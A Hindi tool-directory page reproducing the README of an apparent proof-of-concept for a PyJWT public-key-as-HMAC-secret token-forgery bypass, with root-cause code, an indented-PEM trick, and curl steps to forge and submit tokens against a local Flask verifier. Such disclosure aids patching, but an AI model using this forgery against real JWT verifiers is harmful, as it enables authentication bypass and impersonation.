Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/covepseng/cve-2026-102268-poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षाक्रिप्टोग्राफीप्रमाणीकरणलर्निंग और शिक्षा
GitHubcovepseng/cve-2026-102268-poc

cve-2026-102268-poc

CVE-2026-102-268 (PyJWT Asymmetric-PEM detection bypass) के लिए Exploitability PoC।

रिपॉजिटरी देखें
631 महीना पहलेअभी तक समीक्षित नहीं
साझा करें

CVE-2026-102268 — PyJWT असममित-PEM डिटेक्शन बायपास

शोषणीयता विश्लेषण परिणाम: मूल कारण की पुष्टि हो चुकी है और एंड-टू-एंड शोषण पुनरुत्पादनीय है। एक व्हाइटस्पेस-म्यूटेटेड PEM सार्वजनिक कुंजी PyJWT के is_pem_format() गार्ड को बायपास करती है और एक वैध HMAC सीक्रेट के रूप में स्वीकार कर ली जाती है, जिससे किसी भी ऐसे सत्यापनकर्ता के विरुद्ध पूर्ण HS256 टोकन फ़ॉर्जरी संभव हो जाती है जो RS256 के साथ-साथ HS256 को भी allow-list करता है। विवरण के लिए विश्लेषण देखें।


विषय-सूची

  • अवलोकन
  • प्रभावित संस्करण
  • मूल कारण
  • विश्लेषण
  • रिपॉज़िटरी संरचना
  • आवश्यकताएँ
  • उपयोग
  • अपेक्षित आउटपुट
  • संदर्भ
  • अस्वीकरण

अवलोकन

CVE-2026-102268, PyJWT में एक एल्गोरिदम-कन्फ्यूज़न भेद्यता है। किसी भी कुंजी को HMAC सीक्रेट के रूप में उपयोग करने से पहले, HMACAlgorithm.prepare_key() is_pem_format() को कॉल करता है ताकि ऐसी कुंजियों को अस्वीकार किया जा सके जो PEM-एन्कोडेड असममित कुंजी या प्रमाणपत्र जैसी दिखती हैं — यह RS256/HS256 कन्फ्यूज़न हमलों के विरुद्ध मानक रक्षा है।

is_pem_format() एक एकल regex है जो कुंजी बॉडी और BEGIN/END मार्करों के बीच सटीक \r?\n निकटता की मांग करता है। cryptography के स्वयं के PEM लोडर में ऐसी कोई आवश्यकता नहीं है। मार्कर-से-सटे व्हाइटस्पेस, केवल-CR लाइन टर्मिनेटर, या एक ही पंक्ति पर फोल्ड की गई PEM फ़ाइल को cryptography.load_pem_public_key() द्वारा पूरी तरह वैध कुंजी के रूप में पार्स किया जाता है, जबकि समान बाइट्स पर is_pem_format() False लौटाता है।

परिणाम: असममित-कुंजी गार्ड कभी सक्रिय नहीं होता, सार्वजनिक कुंजी को HMAC सीक्रेट के रूप में स्वीकार कर लिया जाता है, और जिसके पास भी वह सार्वजनिक कुंजी होती है — जो परिभाषा से सार्वजनिक है — वह किसी भी ऐसे सत्यापनकर्ता के लिए वैध HS256 टोकन बना सकता है जो RS256 और HS256 दोनों को allow-list करता है।

इस रिपॉज़िटरी में एक न्यूनतम Flask सत्यापनकर्ता और इस दावे को एंड-टू-एंड सत्यापित करने के लिए एक पुनरुत्पादन कुंजी शामिल है।


प्रभावित संस्करण

प्रभावित सीमामें ठीक किया गया
< 2.14.02.14.0

मूल कारण

jwt/utils.py में भेद्य जाँच (2.14.0 से पहले के सभी संस्करण):

# jwt/utils.py — vulnerable
_PEM_RE = re.compile(
    b"----[- ]BEGIN ("
    + b"|".join(_PEMS)
    + b""")[- ]----\r?
.+?\r?
----[- ]END \1[- ]----\r?\n?"""
)

def is_pem_format(key: bytes) -> bool:
    return bool(_PEM_RE.search(key))

jwt/algorithms.py में इस पर गेटिंग:

# jwt/algorithms.py — HMACAlgorithm.prepare_key()
if is_pem_format(key) or is_ssh_key(key):
    raise InvalidKeyError(
        "The specified key is an asymmetric key or x509 certificate and"
        " should not be used as an HMAC secret."
    )

regex के [- ] विभाजक केवल मार्कर डैशों से सीधे सटे एकल डैश या स्पेस को सहन करते हैं। कुंजी बॉडी के ट्रेलिंग न्यूलाइन और END मार्कर के बीच बैठा कोई भी अन्य व्हाइटस्पेस — एक इंडेंट, एक अनाथ \r, एक री-रैप्ड एकल पंक्ति — मैच को विफल कर देता है, इसलिए is_pem_format() उस फ़ाइल पर False रिपोर्ट करता है जिसे cryptography बिना किसी शिकायत के पार्स करता है।

फिक्स (commit 8b4e233, 2.14.0 में जारी) regex को समर्थित BEGIN/END मार्कर सेट पर एक one-pass स्कैनर से बदल देता है जो सटीक न्यूलाइन निकटता पर निर्भर नहीं करता — इस बायपास को बंद करते हुए और, उसी परिवर्तन में, उसी फ़ंक्शन में एक संबंधित ReDoS (CVE-2026-102270) को भी।


विश्लेषण

इस रिपॉज़िटरी में public_key.pem एक सामान्य 2048-बिट RSA सार्वजनिक कुंजी है जिसमें एक परिवर्तन है: -----END PUBLIC KEY----- पंक्ति चार स्पेस से इंडेंट की गई है।

1wIDAQAB
    -----END PUBLIC KEY-----
openssl rsa -pubin -in public_key.pem -text -noout   # parses cleanly, no warning

utils.py चलाना Flask ऐप से स्वतंत्र रूप से, सीधे लाइब्रेरी के विरुद्ध बायपास की पुष्टि करता है:

$ python utils.py
JWT encoded successfully: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
JWT decoded successfully: {'some': 'payload'}

jwt.encode(..., PUBLIC_KEY, algorithm="HS256") सफल होता है। पैच किए गए PyJWT (≥ 2.14.0) पर, यही कॉल InvalidKeyError उठाती है — is_pem_format() इंडेंट की परवाह किए बिना फ़ाइल को सही ढंग से PEM कुंजी के रूप में फ़्लैग करता है, और HMAC पथ इसे अस्वीकार कर देता है। यहाँ, ऐसा नहीं होता: चार-स्पेस इंडेंट regex को चूकने के लिए पर्याप्त है, और सार्वजनिक कुंजी बाइट्स को एक सामान्य HMAC सीक्रेट के रूप में स्वीकार कर लिया जाता है।

app.py वास्तविक-दुनिया की पूर्व-शर्त को पुनरुत्पादित करता है — एक सत्यापनकर्ता जिसकी algorithms allow-list असममित और सममित एल्गोरिदम को मिलाती है:

decoded_payload = jwt.decode(token, key=PUBLIC_KEY, algorithms=["RS256", "HS256"])

utils.py के दृष्टिकोण से फ़ॉर्ज किया गया टोकन, /verify पर सबमिट करने पर स्वीकार कर लिया जाता है: /verify 200 और फ़ॉर्ज किए गए क्लेम लौटाता है, ऐसे टोकन के लिए जिसे निजी कुंजी रखने वाले किसी भी व्यक्ति ने कभी हस्ताक्षरित नहीं किया।


रिपॉज़िटरी संरचना

cve-2026-102268-poc/
├── Dockerfile              # Python 3.9-slim, installs PyJWT==2.4.0 (vulnerable)
├── podman-compose.yaml     # Single-service compose for the verifier
├── requirements.txt        # Flask, Werkzeug, PyJWT==2.4.0
├── app.py                  # Flask /verify route — algorithms=["RS256","HS256"]
├── utils.py                # Standalone PoC: signs + verifies HS256 with PUBLIC_KEY
├── public_key.pem          # RSA public key, END marker indented by 4 spaces
└── README.md

आवश्यकताएँ

उपकरणसंस्करणनोट्स
Podman≥ 4.0Docker भी काम करता है
Python≥ 3.9केवल utils.py को स्थानीय रूप से चलाने के लिए
curlany/verify को सीधे निष्पादित करने के लिए

उपयोग

1. कंटेनर बनाएँ और शुरू करें

podman-compose up -d

कुछ सेकंड प्रतीक्षा करें, फिर पुष्टि करें कि सेवा चालू है:

curl -si http://localhost:8080/verify -X POST \
  -H 'Content-Type: application/json' -d '{}' | head -1
# Expected: HTTP/1.1 400   (missing token, but the service is reachable)

2. सार्वजनिक कुंजी से टोकन फ़ॉर्ज करें

python utils.py

यह public_key.pem के साथ HS256 का उपयोग करके {"some": "payload"} पर हस्ताक्षर करता है और परिणामी JWT प्रिंट करता है — फ़ॉर्जरी प्रिमिटिव। एन्कोडेड टोकन कॉपी करें।

3. फ़ॉर्ज किया गया टोकन सत्यापनकर्ता को सबमिट करें

curl -s http://localhost:8080/verify \
  -H 'Content-Type: application/json' \
  -d '{"token": "<forged-jwt-here>"}'

4. सफ़ाई

podman-compose down

फिक्स की पुष्टि करना

requirements.txt में पिन किए गए 2.4.0 के स्थान पर PyJWT>=2.14.0 इंस्टॉल करके चरण 2 दोहराएँ। टोकन उत्पन्न होने से पहले ही jwt.encode() InvalidKeyError उठाता है।


अपेक्षित आउटपुट

============================================================
 CVE-2026-102268 — PyJWT Asymmetric-PEM Detection Bypass PoC
============================================================
 Key      : public_key.pem (RSA public key, END marker indented)
 Target   : http://localhost:8080/verify
------------------------------------------------------------
[1] Signing forged token with PUBLIC_KEY as HS256 secret...
[+] JWT encoded successfully:
    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9...

[2] Submitting forged token to /verify (algorithms=["RS256","HS256"])...
------------------------------------------------------------
[✓] HTTP 200 — Access granted
    {"message": "Access granted", "payload": {"some": "payload"}}

    is_pem_format(PUBLIC_KEY) returned False — the asymmetric-key
    guard in HMACAlgorithm.prepare_key() never fired.
============================================================

संदर्भ

टूल डाउनलोड करें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 अंतिम OSINT टूलकिट: जाँच ग्राफ़, विश्वास स्कोरिंग, उपनाम परिवार, मानचित्र, टाइमलाइन और रिपोर्ट। 49 मॉड्यूल, 400+ साइटें, किसी API कुंजी की आवश्यकता नहीं।

    916
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # घोस्टलॉक वन-टैप निष्पादन ऐप (CVE-2026-43499)

    558
  • 3

    redforge

    cybersecurity91/redforge

    ब्राउज़र-साइड रेड टीम टूलकिट, जिसमें रेकॉन, पेलोड जनरेशन, क्रेडेंशियल हमलों, क्रिप्टो, एन्कोडिंग और एंगेजमेंट रिपोर्टिंग के लिए 102 ऑफ़लाइन टूल्स हैं।

    370
  • 4

    ARTEX

    baarai/artex

    प्लानर/वर्कर एजेंट, एसेट और एक्सप्लोरेशन ग्राफ़, MITM ट्रैफ़िक रिकॉर्डिंग, और भेद्यता पुनःपरीक्षण के साथ LLM मल्टी-एजेंट स्वायत्त पेनेट्रेशन टेस्टिंग प्लेटफ़ॉर्म।

    360
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT प्लेटफ़ॉर्म जो Shadowserver रिपोर्ट्स को MongoDB में इनजेस्ट करता है और उन्हें इंटरैक्टिव मैप्स, विश्लेषण, निष्कर्षों, सलाहों और कार्यकारी डैशबोर्ड के रूप में पुनः प्रस्तुत करता है।

    317
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    AI-मूल साइबरसुरक्षा के लिए कार्रवाई की प्रणाली—जहाँ इरादा नियंत्रित निष्पादन बन जाता है, साक्ष्य परिचालन स्मृति बन जाता है, और हर ऑपरेशन अगले को बेहतर बनाता है।

    289

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →